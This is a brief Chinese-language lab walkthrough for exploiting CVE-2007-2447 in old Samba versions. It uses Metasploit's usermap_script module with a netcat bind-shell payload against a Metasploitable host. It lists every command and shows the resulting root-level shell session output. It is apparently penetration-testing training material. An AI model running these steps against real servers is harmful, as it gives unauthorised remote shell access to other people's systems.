CVE-2007-2447

概述
linux环境下常用的samba服务低版本存在溢出攻击
攻击
msf > search samba
查找针对samba服务漏洞的相关渗透攻击模块

msf > use multi/samba/usermap_script
调用特定的渗透攻击模块

msf exploit(usermap_script) >show payloads
查看与此渗透攻击模块对应或兼容的攻击载荷

msf exploit(usermap_script) >set payload cmd/unix/bind_netcat
使用netcat攻击载荷，渗透成功后由其执行shell，并通过netcat绑定在一个监听端口上

msf exploit(usermap_script) >show options
查看需要配置的攻击参数，包括源目IP、端口、操作系统类型等

msf exploit(usermap_script) >set RHOST 10.10.10.254
其他参数默认，这里设置目标主机IP

exploit(usermap_script) >exploit
执行漏洞渗透msf exploit(usermap_script) > exploit
[] Started bind handler
[] Command shell session 1 opened (10.10.10.131:48086 -> 10.10.10.254:4444) at 2015-02-28 10:40:30 -0500
uname -a查看系统版本
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
whoami查看账户